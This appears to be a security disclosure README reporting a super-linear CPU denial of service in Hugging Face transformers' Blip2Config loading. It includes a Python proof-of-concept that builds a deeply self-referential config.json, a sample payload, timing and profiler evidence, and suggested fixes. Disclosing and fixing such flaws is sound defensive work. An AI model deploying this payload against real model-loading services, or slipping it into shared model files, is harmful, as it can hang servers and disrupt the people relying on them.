YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Super-linear (cubic) CPU DoS via self-referential nested sub-config in config.json reaching AutoConfig.from_pretrained (Blip2Config text_config recursion + to_diff_dict deepcopy)
Summary
transformers' composite ("multimodal") config classes construct their nested
sub-configs from the sub-dict's own model_type field. For Blip2Config, the
nested text_config model type is looked up in CONFIG_MAPPING and
instantiated. Because CONFIG_MAPPING["blip-2"] resolves back to Blip2Config
itself, an attacker can set the nested text_config's model_type to
"blip-2" and nest it self-referentially to arbitrary depth, so every JSON
level recursively constructs another full composite config.
Compounding this, PreTrainedConfig.from_dict unconditionally builds the
config's repr string via an f-string (logger.info(f"Model config {config}"))
that is evaluated regardless of the effective log level. That triggers
__repr__ -> to_json_string -> to_diff_dict -> to_dict ->
copy.deepcopy(self.__dict__), which walks the entire attacker-controlled
nested tree and instantiates a fresh default config at every level to diff
against. The net effect is super-linear (empirically ~cubic) wall-clock time
in the JSON nesting depth. There is no depth / count / size guard on the
nested sub-config chain.
A few KB of pure JSON (no weights, no trust_remote_code, no network, no
torch/model execution) turns into minutes-to-hours of pure CPU plus
OOM-adjacent memory pressure from repeated full-tree deepcopy โ a hard,
unauthenticated denial of service triggered by simply loading an untrusted model
directory with AutoConfig.from_pretrained.
Affected target
- Package:
transformers(Hugging Face) - Version tested:
5.14.1(installed, from PyPI) - Python: 3.13
- Entry point:
transformers.AutoConfig.from_pretrained(<dir>)on an attacker-suppliedconfig.json. - No
trust_remote_code, no network, no weights, no torch execution path.
Root cause
1. Self-referential composite sub-config construction
transformers/models/blip_2/configuration_blip_2.py, Blip2Config.__post_init__
(lines ~160-166):
def __post_init__(self, **kwargs):
if self.text_config is None:
self.text_config = CONFIG_MAPPING["opt"]()
logger.info("text_config is None. Initializing the text config with default values (`OPTConfig`).")
elif isinstance(self.text_config, dict):
text_model_type = self.text_config.get("model_type", "opt")
self.text_config = CONFIG_MAPPING[text_model_type](**self.text_config) # <-- attacker controls text_model_type
Because CONFIG_MAPPING["blip-2"] is Blip2Config, an attacker sets the nested
text_config["model_type"] = "blip-2", so each level constructs another
Blip2Config, whose own text_config is again "blip-2", recursively, to any
depth the attacker nests the JSON.
2. Unconditional repr + to_diff_dict deepcopy on every level
transformers/configuration_utils.py, PreTrainedConfig.from_dict (~line 894):
logger.info(f"Model config {config}") # f-string ALWAYS evaluates str(config), regardless of log level
__repr__ (~line 977):
def __repr__(self):
return f"{self.__class__.__name__} {self.to_json_string()}"
to_json_string -> to_diff_dict (line 985) -> line 1050) ->
to_dict (copy.deepcopy(self.__dict__). to_diff_dict also instantiates a fresh default
config of the class at every nesting level to compute the "diff", and
deepcopy walks the whole attacker-controlled nested tree. Both costs multiply
across the depth of the self-referential chain, producing super-linear
(~cubic) total time.
Proof of Concept
Build a config.json whose text_config chain is self-referential blip-2 to
depth N, then call AutoConfig.from_pretrained on the directory:
import json, os, time
from transformers import AutoConfig
def selfref(depth):
node = {"model_type": "blip-2"}; root = node
for _ in range(depth):
child = {"model_type": "blip-2"}
node["text_config"] = child
node = child
return root
D = "cfgtest"; os.makedirs(D, exist_ok=True)
with open(os.path.join(D, "config.json"), "w") as f:
json.dump(selfref(100), f) # ~4 KB of JSON
t = time.time()
AutoConfig.from_pretrained(D) # burns tens of seconds of pure CPU
print("elapsed", time.time() - t)
config.json for a small (depth-3) example โ trivially crafted, arbitrarily
deep:
{"model_type":"blip-2","text_config":{"model_type":"blip-2","text_config":{"model_type":"blip-2","text_config":{"model_type":"blip-2"}}}}
- depth 50 -> ~2 KB JSON
- depth 100 -> ~4 KB JSON
- depth 160 -> ~13 KB JSON (already exceeds a 120 s timeout)
- a few hundred levels (tens of KB) -> effectively unbounded (hours) CPU + OOM-adjacent memory pressure
Captured evidence (verbatim)
Wall-clock scaling and negative controls (transformers 5.14.1, this machine):
NEG flat blip-2 (depth0): OK t=0.616s type=Blip2Config
NEG blip-2->opt (no self-ref): OK t=0.614s type=Blip2Config
POS self-ref depth=50 (2074B): OK t=7.680s type=Blip2Config
POS self-ref depth=100 (4124B): OK t=47.123s type=Blip2Config
(earlier isolated runs)
depth=120 OK t=78.206s
depth=160 Exit code 143 (SIGTERM, killed at the 120 s timeout)
Independent re-run (fresh, same machine) confirming the blow-up:
NEG flat blip-2 (depth0): OK t=0.574s type=Blip2Config
NEG blip-2->opt (no self-ref): OK t=0.571s type=Blip2Config
POS self-ref depth=50 (2074B): OK t=6.811s type=Blip2Config
cProfile at depth 50 attributes the cost to to_dict -> copy.deepcopy,
driven by to_diff_dict:
89830051 function calls in 24.776 seconds
23.835s from_dict
-> 23.303s blip_2 __post_init__
-> 20.353s to_dict (13227 calls)
-> 15.740s copy.deepcopy (9662098 deepcopy calls)
caller of to_dict = to_diff_dict (configuration_utils.py:985)
Interpretation
- The two negative controls (a flat
blip-2config, and a single non-self-referentialblip-2 -> optconfig) both complete in ~0.6 s regardless of file size, proving the blow-up is not driven by JSON size or by parsing/instantiation cost. - The positive cases (self-referential
blip-2 -> blip-2 -> ...) scale super-linearly: 7.7 s at depth 50, 47 s at depth 100, 78 s at depth 120 โ an ~cubic curve in nesting depth. - ~9.66 million
deepcopycalls at depth 50 (fromto_diff_dict) confirm the repeated full-tree deepcopy is the dominant cost.
Impact
- Denial of service (unauthenticated / no code execution required). Any
pipeline that resolves an untrusted model directory via
AutoConfig/AutoModel.from_pretrained(model hubs, inference servers, CI that loads user-supplied models, AutoTrain-style services) can be hung for minutes-to-hours and pushed toward OOM by a few KB of JSON. - No weights, no
trust_remote_code, no network โ onlyconfig.jsonis needed. - The self-referential composite pattern is not unique to Blip2: any composite
config whose
model_typemaps back to a composite class (the generalCONFIG_MAPPING[sub["model_type"]](**sub)pattern in__post_init__) is a candidate for the same recursion. Blip2 is a concrete, reproduced instance.
Suggested remediation
- Bound nesting depth / total sub-config count when constructing composite
configs from a dict, and reject
config.jsonwhose composite sub-config chain exceeds a small constant depth. - Reject a sub-config whose
model_typeresolves to a composite class that re-enters the same construction path (break the self-referential cycle), or detect repeated composite types along the parent chain. - Avoid the unconditional
logger.info(f"Model config {config}")full-repr serialization infrom_dict(guard onlogger.isEnabledFor(INFO)before building the string) so a diagnostic log line does not force a full recursiveto_diff_dict+deepcopyof an attacker-controlled tree.
Dedup / prior art note
- This is distinct from other transformers config DoS findings in this program:
it is not the integer-allocation config DoS
(
huntr-poc-transformers-config-integer-alloc-dos), not the generate/merges quadratic issue (huntr-poc-transformers-generate-merges-quadratic-dos), and not the GGUF or feature-extractor / mel / image-processor findings. The specific bug here is the self-referential composite sub-config recursion (Blip2Config.text_config->blip-2) amplified byto_diff_dict+copy.deepcopyin the unconditionalfrom_dictrepr log line. - No CVE is known for this specific self-referential composite-config recursion
/
to_diff_dictdeepcopy amplification at time of writing.
Files
README.mdโ this write-up.poc_blip2_selfref.pyโ PoC driver (self-ref depth sweep +neg_flat/neg_optchainnegative controls).